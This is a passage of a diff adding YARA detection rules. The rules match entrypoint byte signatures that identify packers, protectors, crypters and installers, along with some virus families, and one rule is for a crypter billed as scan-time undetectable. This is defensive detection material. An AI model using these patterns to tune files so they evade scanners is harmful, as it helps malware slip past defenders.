+		$0 at entrypoint
+}
+rule _CDS_SS_10_beta1__CyberDoom_
+{
+	meta:
+		description = "CDS SS 1.0 beta1 -> CyberDoom"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED CA 47 40 00 FF 74 24 20 E8 D3 03 00 00 0B C0 0F 84 13 03 00 00 89 85 B8 4E 40 00 66 8C D8 A8 04 74 0C C7 85 8C 4E 40 00 01 00 00 00 EB 12 64 A1 30 00 00 00 0F B6 40 02 0A C0 0F 85 E8 02 00 00 8D 85 F6 4C 40 00 50 FF B5 B8 4E 40 00 E8 FC 03 00 00 0B C0 0F 84 CE 02 00 00 E8 1E 03 00 00 89 85 90 4E 40 00 8D 85 03 4D 40 00 50 FF B5 B8 4E 40 00 E8 D7 03 00 00 0B C0 0F 84 A9 02 00 00 E8 F9 02 00 00 89 85 94 4E 40 00 8D 85 12 4D 40 00 50}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_1337_20070623__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium 1.3.3.7 (2007.06.23) -> Obsidium Software"
+	strings:
+		$0 = {EB 02 ?? ?? E8 27 00 00 00 EB 03 ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 03 ?? ?? ?? 83 82 B8 00 00 00 23 EB 03 ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 01 ?? EB 03 ?? ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 01 ?? 50 EB 02 ?? ?? 33 C0 EB 01 ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 02 ?? ?? E9 FA 00 00 00 EB 04 ?? ?? ?? ?? E8 D5 FF FF FF EB 01 ?? EB 01 ?? 58 EB 04 ?? ?? ?? ?? EB 01 ?? 64 67 8F 06 00 00 EB 02 ?? ?? 83 C4 04 EB 01 ?? E8 F7 26 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_293__300_LZMA__Markus_Oberhumer_Laszlo_Molnar__John_Reiser_
+{
+	meta:
+		description = "UPX 2.93 - 3.00 [LZMA] -> Markus Oberhumer, Laszlo Molnar & John Reiser"
+	strings:
+		$0 = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 89 E5 8D 9C 24 ?? ?? ?? ?? 31 C0 50 39 DC 75 FB 46 46 53 68 ?? ?? ?? ?? 57 83 C3 04 53 68 ?? ?? ?? ?? 56 83 C3 04 53 50 C7 03 03 00 02 00 90 90 90 90 90}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_2117__StrongbitSoftComplete_Development_
+{
+	meta:
+		description = "EXECryptor 2.1.17 -> Strongbit/SoftComplete Development"
+	strings:
+		$0 = {BE ?? ?? ?? ?? B8 00 00 ?? ?? 89 45 FC 89 C2 8B 46 0C 09 C0 0F 84 ?? 00 00 00 01 D0 89 C3 50 FF 15 94 ?? ?? ?? 09 C0 0F 85 0F 00 00 00 53 FF 15 98 ?? ?? ?? 09 C0 0F 84 ?? 00 00 00 89 45 F8 6A 00 8F 45 F4 8B 06 09 C0 8B 55 FC 0F 85 03 00 00 00 8B 46 10 01}
+	condition:
+		$0
+}
+rule _NoodleCrypt_v20_
+{
+	meta:
+		description = "NoodleCrypt v2.0"
+	strings:
+		$0 = {EB 01 9A E8 3D 00 00 00 EB 01 9A E8 EB 01 00 00 EB 01 9A E8 2C 04 00 00 EB 01}
+		$1 = {EB 01 9A E8 ?? 00 00 00 EB 01 9A E8 ?? ?? 00 00 EB 01 9A E8 ?? ?? 00 00 EB 01}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _Armadillo_v250b3_
+{
+	meta:
+		description = "Armadillo v2.50b3"
+	strings:
+		$0 = {55 8B EC 6A FF 68 B8 ?? ?? ?? 68 F8 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 20 ?? ?? ?? 33 D2 8A D4 89 15 D0}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Crypt_v102_
+{
+	meta:
+		description = "PE Crypt v1.02"
+	strings:
+		$0 = {E8 ?? ?? ?? ?? 5B 83 EB 05 EB 04 52 4E 44}
+	condition:
+		$0 at entrypoint
+}
+rule _PEPROTECT_09_
+{
+	meta:
+		description = "PE-PROTECT 0.9"
+	strings:
+		$0 = {E9 CF 00 00 00 0D 0A 0D 0A C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_ASProtect__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [ASProtect] --> Anorganix"
+	strings:
+		$0 = {60 90 90 90 90 90 90 5D 90 90 90 90 90 90 90 90 90 90 90 03 DD}
+	condition:
+		$0 at entrypoint
+}
+rule _WIBUKey_V410A__httpwibucomus_
+{
+	meta:
+		description = "WIBU-Key V4.10A -> http://wibu.com/us/"
+	strings:
+		$0 = {F7 05 ?? ?? ?? ?? FF 00 00 00 75 12}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_v032a_fake_nSPack_13__emadicius_
+{
+	meta:
+		description = "[MSLRH] v0.32a (fake nSPack 1.3) -> emadicius"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5 D3 FE FF FF 8B 06 83 F8 00 74 11 8D B5 DF FE FF FF 8B 06 83 F8 01 0F 84 F1 01 00 00 61 9D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01}
+	condition:
+		$0 at entrypoint
+}
+rule _yodas_Protector_V102__Ashkbiz_Danehkar_
+{
+	meta:
+		description = "yoda's Protector V1.02 -> Ashkbiz Danehkar"
+	strings:
+		$0 = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AB 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75 2E E8 03 00 00 00 EB 01 ?? C3 60 E8 00 00 00 00 5D 81 ED 23 3F 42 00 8B D5 81 C2 72 3F 42 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 4B CC C3 E8 03 00 00 00 EB 01 ?? 33 DB B9 3A 66 42 00 81 E9 1D 40 42 00 8B D5 81 C2 1D 40 42 00 8D 3A 8B F7 33 C0 E8 03 00 00 00 EB 01 ?? E8 17 00 00 00 90 90 90 E9 C3 1F 00 00 33 C0 64 FF 30 64 89 20 43 CC C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Enigma_protector_112__Vladimir_Sukhov_
+{
+	meta:
+		description = "Enigma protector 1.12 -> Vladimir Sukhov"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 83 ED 06 81 ED ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 9A 83 C4 04 EB 02 FF 35 60 E8 24 00 00 00 00 00 FF EB 02 CD 20 8B 44 24 0C 83 80 B8 00 00 00 03 31 C0 C3 83 C0 08 EB 02 FF 15 89 C4 61 EB 2E EA EB 2B 83 04 24 03 EB 01 00 31 C0 EB 01 85 64 FF 30 EB 01 83 64 89 20 EB 02 CD 20 89 00 9A 64 8F 05 00 00 00 00 EB 02 C1 90 58 61 EB 01 3E EB 04 ?? ?? ?? ?? B8 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 9A 83 C4 04 01 E8 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 9A 83 C4 04 05 F6 01 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 9A 83 C4 04 B9 44 1A}
+	condition:
+		$0
+}
+rule _Armadillo_v220_
+{
+	meta:
+		description = "Armadillo v2.20"
+	strings:
+		$0 = {55 8B EC 6A FF 68 10 12 41 00 68 F4 A0 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Spanz_
+{
+	meta:
+		description = "Vx: Spanz"
+	strings:
+		$0 = {E8 00 00 5E 81 EE ?? ?? 8D 94 ?? ?? B4 1A CD 21 C7 84}
+	condition:
+		$0 at entrypoint
+}
+rule _StarForce_ProActive_11__StarForce_Technology_
+{
+	meta:
+		description = "StarForce ProActive 1.1 -> StarForce Technology"
+	strings:
+		$0 = {68 ?? ?? ?? ?? FF 25 ?? ?? 57}
+	condition:
+		$0 at entrypoint
+}
+rule _TPPpack__clane_
+{
+	meta:
+		description = "TPPpack -> clane"
+	strings:
+		$0 = {E8 00 00 00 00 5D 81 ED F5 8F 40 00 60 33 ?? E8}
+	condition:
+		$0 at entrypoint
+}
+rule _ZipWorxSecureEXE_v25__ZipWORX_Technologies_LLC_
+{
+	meta:
+		description = "ZipWorxSecureEXE v2.5 -> ZipWORX Technologies LLC"
+	strings:
+		$0 = {E9 B8 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 53 65 63 75 72 65 45 58 45 20 45 78 65 63 75 74 61 62 6C 65 20 46 69 6C 65 20 50 72 6F 74 65 63 74 6F 72 0D 0A 43 6F 70 79 72 69 67 68 74 28 63 29 20 32 30}
+	condition:
+		$0 at entrypoint
+}
+rule _AZProtect_0001__by_AlexZ_aka_AZCRC_
+{
+	meta:
+		description = "AZProtect 0001 - by AlexZ aka AZCRC"
+	strings:
+		$0 = {EB 70 FC 60 8C 80 4D 11 00 70 25 81 00 40 0D 91 BB 60 8C 80 4D 11 00 70 21 81 1D 61 0D 81 00 40 CE 60 8C 80 4D 11 00 70 25 81 25 81 25 81 25 81 29 61 41 81 31 61 1D 61 00 40 B7 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 BE 00 ?? ?? 00 BF 00 00 40 00 EB 17 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 00 00 00 00 FF 25 ?? ?? ?? 00 8B C6 03 C7 8B F8 57 55 8B EC 05 7F 00 00 00 50 E8 E5 FF FF FF BA 8C ?? ?? 00 89 02 E9 1A 01 00 00 ?? 00 00 00 47 65 74 4D 6F 64 75 6C 65 46 69 6C 65 4E 61 6D 65 41 00 47 65 74 56 6F 6C 75 6D 65 49 6E 66 6F 72 6D 61 74 69 6F 6E 41 00 4D 65 73 73 61 67 65 42 6F 78 41 00 45 78 69 74 50 72 6F 63 65 73 73 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41}
+		$1 = {FC 33 C9 49 8B D1 33 C0 33 DB AC 32 C1 8A CD 8A EA 8A D6 B6 08 66 D1 EB 66 D1 D8 73 09 66 35 20 83 66 81 F3 B8 ED FE CE 75 EB 33 C8 33 D3 4F 75 D5 F7 D2 F7 D1 8B C2 C1 C0 10 66 8B C1 C3 F0 DA 55 8B EC 53 56 33 C9 33 DB 8B 4D 0C 8B 55 10 8B 75 08 4E 4A 83 FB 08 72 05 33 DB 43 EB 01 43 33 C0 8A 04 31 8A 24 13 2A C4 88 04 31 E2 E6 5E 5B C9 C2 0C}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _FreeJoiner_Small_build_023__GlOFF_
+{
+	meta:
+		description = "FreeJoiner Small (build 023) -> GlOFF"
+	strings:
+		$0 = {E8 E1 FD FF FF 6A 00 E8 0C 00 00 00 FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40 00 FF 25 AC 10 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Sc_Obfuscator__SuperCRacker_
+{
+	meta:
+		description = "Sc Obfuscator -> SuperCRacker"
+	strings:
+		$0 = {60 33 C9 8B 1D ?? ?? ?? ?? 03 1D ?? ?? ?? ?? 8A 04 19 84 C0 74 09 3C ?? 74 05 34 ?? 88 04 19 41 3B 0D ?? ?? ?? ?? 75 E7 A1 ?? ?? ?? ?? 01 05 ?? ?? ?? ?? 61 FF 25 ?? ?? ?? ?? 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_V119_Dll_aPlib_043__ap0x_
+{
+	meta:
+		description = "RLPack V1.19 Dll (aPlib 0.43) -> ap0x"
+	strings:
+		$0 = {80 7C 24 08 01 0F 85 89 01 00 00 60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 3C 04 00 00 EB 0C 8B 85 38 04 00 00 89 85 3C 04 00 00 8D B5 60 04 00 00 8D 9D EB 02 00 00 33 FF E8 52 01 00 00 EB 1B 8B 85 3C 04 00 00 FF 74 37 04 01 04 24 FF 34 37 01 04 24 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 DF 83 BD 48 04 00 00 00 74 0E 83 BD 4C 04 00 00 00 74 05 E8 B8 01 00 00 8D 74 37 04 53 6A 40 68 00 10 00 00 68 ?? ?? ?? ?? 6A 00 FF 95 D1 03 00 00 89 85 5C 04 00 00 5B FF B5 5C 04 00 00 56 FF D3 83 C4 08 8B B5 5C 04 00 00 8B C6 EB 01 40 80 38 01 75 FA 40 8B 38 03 BD 3C 04 00 00 83 C0 04 89 85 58 04 00 00 E9 94 00 00 00 56 FF 95 C9 03 00 00 85 C0 0F 84 B4 00 00 00 89 85 54 04 00 00 8B C6 EB 5B 8B 85 58 04 00 00 8B 00 A9 00 00 00 80 74 14 35 00 00 00 80 50 8B 85 58 04 00 00 C7 00 20 20 20 00 EB 06 FF B5 58 04 00 00 FF B5 54 04 00 00 FF 95 CD 03 00 00 85 C0 74 71 89 07 83 C7 04 8B 85 58 04 00 00 EB 01 40 80 38 00 75 FA 40 89 85 58 04 00 00 66 81 78 02 00 80 74 A5 80 38 00 75 A0 EB 01 46 80 3E 00 75 FA 46 40 8B 38 03 BD 3C 04 00 00 83 C0 04 89 85 58 04 00 00 80 3E 01 0F 85 63 FF FF FF 68 00 40 00 00 68 ?? ?? ?? ?? FF B5 5C 04 00 00 FF 95 D5 03 00 00 E8 3D 00 00 00 E8 24 01 00 00 61 E9 ?? ?? ?? ?? 61 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_2xx_compressed_resources_
+{
+	meta:
+		description = "EXECryptor 2.xx (compressed resources)"
+	strings:
+		$0 = {56 57 53 31 DB 89 C6 89 D7 0F B6 06 89 C2 83 E0 1F C1 EA 05 74 2D 4A 74 15 8D 5C 13 02 46 C1 E0 08 89 FA 0F B6 0E 46 29 CA 4A 29 C2 EB 32 C1 E3 05 8D 5C 03 04 46 89 FA 0F B7 0E 29 CA 4A 83 C6 02 EB 1D C1 E3 04 46 89 C1 83 E1 0F 01 CB C1 E8 05 73 07 43 89 F2 01 DE EB 06 85 DB 74 0E EB A9 56 89 D6 89 D9 F3 A4 31 DB 5E EB 9D 89 F0 5B 5F 5E C3}
+	condition:
+		$0
+}
+rule _Pelles_C_290_300_400_DLL_X86_CRTLIB_
+{
+	meta:
+		description = "Pelles C 2.90, 3.00, 4.00 DLL (X86 CRT-LIB)"
+	strings:
+		$0 = {55 89 E5 53 56 57 8B 5D 0C 8B 75 10 BF 01 00 00 00 85 DB 75 10 83 3D ?? ?? ?? ?? 00 75 07 31 C0 E9 ?? ?? ?? ?? 83 FB 01 74 05 83 FB 02 75 ?? 85 FF 74}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_Full_Edition_117_DLL__Ap0x_
+{
+	meta:
+		description = "RLPack Full Edition 1.17 DLL -> Ap0x"
+	strings:
+		$0 = {80 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF E8}
+	condition:
+		$0 at entrypoint
+}
+rule _LameCrypt_v10_
+{
+	meta:
+		description = "LameCrypt v1.0"
+	strings:
+		$0 = {60 66 9C BB ?? ?? ?? ?? 80 B3 00 10 40 00 90 4B 83 FB FF 75 F3 66 9D 61}
+	condition:
+		$0 at entrypoint
+}
+rule _Thinstall_Embedded_26202623__Jitit_
+{
+	meta:
+		description = "Thinstall Embedded 2.620-2.623 -> Jitit"
+	strings:
+		$0 = {E8 00 00 00 00 58 BB AC 1E 00 00 2B C3 50 68 ?? ?? ?? ?? 68 B0 21 00 00 68 C4 00 00 00 E8 C3 FE FF FF E9 99 FF FF FF 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _iPBProtect_v013_
+{
+	meta:
+		description = "iPBProtect v0.1.3"
+	strings:
+		$0 = {55 8B EC 6A FF 68 4B 43 55 46 68 54 49 48 53 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 FA 33 DB 89 5D F8 6A 02 EB 01 F8 58 5F 5E 5B 64 8B 25 00 00 00 00 64 8F 05 00 00 00 00 58 58 58 5D 68 9F 6F 56 B6 50 E8 5D 00 00 00 EB FF 71 78}
+	condition:
+		$0
+}
+rule _eXcalibur_v103__forgotus_
+{
+	meta:
+		description = "eXcalibur v1.03 -> forgot/us"
+	strings:
+		$0 = {E9 00 00 00 00 60 E8 14 00 00 00 5D 81 ED 00 00 00 00 6A 45 E8 A3 00 00 00 68 00 00 00 00 E8 58 61 EB 39 20 45 78 63 61 6C 69 62 75 72 20 28 63 29 20 62 79 20 66 6F 72 67 6F 74 2F 75 53 2F 44 46 43 47 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_13037__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium 1.3.0.37 -> Obsidium Software"
+	strings:
+		$0 = {EB 02 ?? ?? E8 26 00 00 00 EB 03 ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 26 EB 01 ?? 33 C0 EB 02 ?? ?? C3 EB 01 ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 01 ?? EB 03 ?? ?? ?? 50 EB 03 ?? ?? ?? 33 C0 EB 03 ?? ?? ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 04 ?? ?? ?? ?? EB 01 ?? 58 EB 02 ?? ?? EB 03 ?? ?? ?? 64 67 8F 06 00 00 EB 01 ?? 83 C4 04 EB 03 ?? ?? ?? E8 23 27 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PKLITE_v114_v120_
+{
+	meta:
+		description = "PKLITE v1.14, v1.20"
+	strings:
+		$0 = {B8 ?? ?? BA ?? ?? 05 ?? ?? 3B 06 ?? ?? 72 ?? B4 09 BA ?? ?? CD 21 CD 20}
+	condition:
+		$0 at entrypoint
+}
+rule _DAEMON_Protect_v067_
+{
+	meta:
+		description = "DAEMON Protect v0.6.7"
+	strings:
+		$0 = {60 60 9C 8C C9 32 C9 E3 0C 52 0F 01 4C 24 FE 5A 83 C2 0C 8B 1A 9D 61}
+	condition:
+		$0 at entrypoint
+}
+rule _EmbedPE_V1X__cyclotron_
+{
+	meta:
+		description = "EmbedPE V1.X -> cyclotron"
+	strings:
+		$0 = {83 EC 50 60 68 ?? ?? ?? ?? E8 ?? ?? 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE_Stealth_v27_
+{
+	meta:
+		description = "EXE Stealth v2.7"
+	strings:
+		$0 = {EB 00 60 EB 00 E8 00 00 00 00 5D 81 ED D3 26 40}
+	condition:
+		$0 at entrypoint
+}
+rule _UnoPiX_103110__BaGiE_
+{
+	meta:
+		description = "UnoPiX 1.03-1.10 -> BaGiE"
+	strings:
+		$0 = {83 EC 04 C7 04 24 00 ?? ?? ?? C3 00 ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? 00 10 00 00 00 02 00 00 01 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 ?? ?? 00 00 10 00 00 00 00 00 00 02 00 00 ?? 00 00 ?? 00 00 ?? ?? 00 00 00 10 00 00 10 00 00 00 00 00 00 10}
+	condition:
+		$0 at entrypoint
+}
+rule _HPA_
+{
+	meta:
+		description = "HPA"
+	strings:
+		$0 = {E8 ?? ?? 5E 8B D6 83 ?? ?? 83 ?? ?? 06 0E 1E 0E 1F 33 FF 8C D3}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_v103__v104_Modified_
+{
+	meta:
+		description = "UPX v1.03 - v1.04 Modified"
+	strings:
+		$0 = {01 DB ?? 07 8B 1E 83 EE FC 11 DB 8A 07 ?? EB B8 01 00 00 00 01 DB ?? 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v300_
+{
+	meta:
+		description = "Armadillo v3.00"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 60 33 C9}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_118_aPlib_043__ap0x_
+{
+	meta:
+		description = "RLPack 1.18 (aPlib 0.43) -> ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 ?? 8D B5 1A 04 00 00 8D 9D C1 02 00 00 33 FF E8 61 01 00 00 EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 ?? 83 C7 ?? 83 3C 37 00 75 EB 83 BD 06 04 00 00 00 74 0E 83 BD 0A 04 00 00 00 74 05 E8 D7 01 00 00 8D 74 37 04 53 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 95 A7 03 00 00 89 85 16 04 00 00 5B FF B5 16 04 00 00 56 FF D3 83 C4 ?? 8B B5 16 04 00 00 8B C6 EB 01}
+	condition:
+		$0 at entrypoint
+}
+rule _UPXFreak_V01__HMX0101_
+{
+	meta:
+		description = "UPXFreak V0.1 -> HMX0101"
+	strings:
+		$0 = {BE ?? ?? ?? ?? 83 C6 01 FF E6 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Nullsoft_Install_System_v20b2_v20b3_
+{
+	meta:
+		description = "Nullsoft Install System v2.0b2, v2.0b3"
+	strings:
+		$0 = {83 EC 0C 53 55 56 57 FF 15 ?? 70 40 00 8B 35 ?? 92 40 00 05 E8 03 00 00 89 44 24 14 B3 20 FF 15 2C 70 40 00 BF 00 04 00 00 68 ?? ?? ?? 00 57 FF 15 ?? ?? 40 00 57 FF 15}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v253_
+{
+	meta:
+		description = "Armadillo v2.53"
+	strings:
+		$0 = {55 8B EC 6A FF 68 40 ?? ?? ?? 68 54 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 58 ?? ?? ?? 33 D2 8A D4 89 15 EC}
+		$1 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 40 ?? ?? ?? ?? 68 54 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF ?? ?? ?? 15 58 33 D2 8A D4 89}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _FSG_v110_Eng__dulekxt_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt"
+	strings:
+		$0 = {BB D0 01 40 ?? BF ?? 10 40 ?? BE}
+		$1 = {E8 01 00 00 00 ?? ?? E8 ?? 00 00 00}
+		$2 = {EB 01 ?? EB 02 ?? ?? ?? 80 ?? ?? 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _PseudoSigner_01_WATCOM_CCpp_EXE__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [WATCOM C/C++ EXE] --> Anorganix"
+	strings:
+		$0 = {E9 00 00 00 00 90 90 90 90 57 41 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _Wise_Installer_Stub_v11010291_
+{
+	meta:
+		description = "Wise Installer Stub v1.10.1029.1"
+	strings:
+		$0 = {55 8B EC 81 EC 40 0F 00 00 53 56 57 6A 04 FF 15 F4 30 40 00 FF 15 74 30 40 00 8A 08 89 45 E8 80 F9 22 75 48 8A 48 01 40 89 45 E8 33 F6 84 C9 74 0E 80 F9 22 74 09 8A 48 01 40 89 45 E8 EB EE 80 38 22 75 04 40 89 45 E8 80 38 20 75 09 40 80 38 20 74 FA 89 45}
+	condition:
+		$0 at entrypoint
+}
+rule _MicroJoiner_11__coban2k_
+{
+	meta:
+		description = "MicroJoiner 1.1 -> coban2k"
+	strings:
+		$0 = {BE 0C 70 40 00 BB F8 11 40 00 33 ED 83 EE 04 39 2E 74 11}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_V194__Markus_Oberhumer__Laszlo_Molnar__John_Reiser_
+{
+	meta:
+		description = "UPX V1.94 -> Markus Oberhumer & Laszlo Molnar & John Reiser"
+	strings:
+		$0 = {FF D5 80 A7 ?? ?? ?? ?? ?? 58 50 54 50 53 57 FF D5 58 61 8D 44 24 ?? 6A 00 39 C4 75 FA 83 EC 80 E9}
+	condition:
+		$0
+}
+rule _Thinstall_Virtualization_Suite_30353043__Thinstall_Company_
+{
+	meta:
+		description = "Thinstall Virtualization Suite 3.035-3.043 -> Thinstall Company"
+	strings:
+		$0 = {9C 60 68 53 74 41 6C 68 54 68 49 6E E8 00 00 00 00 58 BB 37 1F 00 00 2B C3 50 68 ?? ?? ?? ?? 68 00 28 00 00 68 04 01 00 00 E8 BA FE FF FF E9 90 FF FF FF CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33 C0 E8 19 01 00 00 73 0E 8B 4D F8 E8 27 01 00 00 02 45 F7 AA EB E9 E8 04 01 00 00 0F 82 96 00 00 00 E8 F9 00 00 00 73 5B B9 04 00 00 00 E8 05 01 00 00 48 74 DE 0F 89 C6 00 00 00 E8 DF 00 00 00 73 1B 55 BD 00 01 00 00 E8 DF 00 00 00 88 07 47 4D 75 F5 E8 C7 00 00 00 72 E9 5D EB}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Sonik_Youth_
+{
+	meta:
+		description = "Vx: Sonik Youth"
+	strings:
+		$0 = {8A 16 02 00 8A 07 32 C2 88 07 43 FE C2 81 FB}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v146_
+{
+	meta:
+		description = "PECompact v1.46"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F A0 40 ?? 87 DD 8B 85 A6 A0 40 ?? 01 85 03 A0 40 ?? 66 C7 85 ?? A0 40 ?? 90 90 01 85 9E A0 40 ?? BB 60 12}
+	condition:
+		$0 at entrypoint
+}
+rule _TPACK_v05c_m1_
+{
+	meta:
+		description = "T-PACK v0.5c -m1"
+	strings:
+		$0 = {68 ?? ?? FD 60 BE ?? ?? BF ?? ?? B9 ?? ?? F3 A4 8B F7 BF ?? ?? FC 46 E9 8E FE}
+	condition:
+		$0 at entrypoint
+}
+rule _STUD_RC4_10_Jamie_Edition_ScanTime_UnDetectable__by_MarjinZ_
+{
+	meta:
+		description = "STUD RC4 1.0 Jamie Edition (ScanTime UnDetectable) - by MarjinZ"
+	strings:
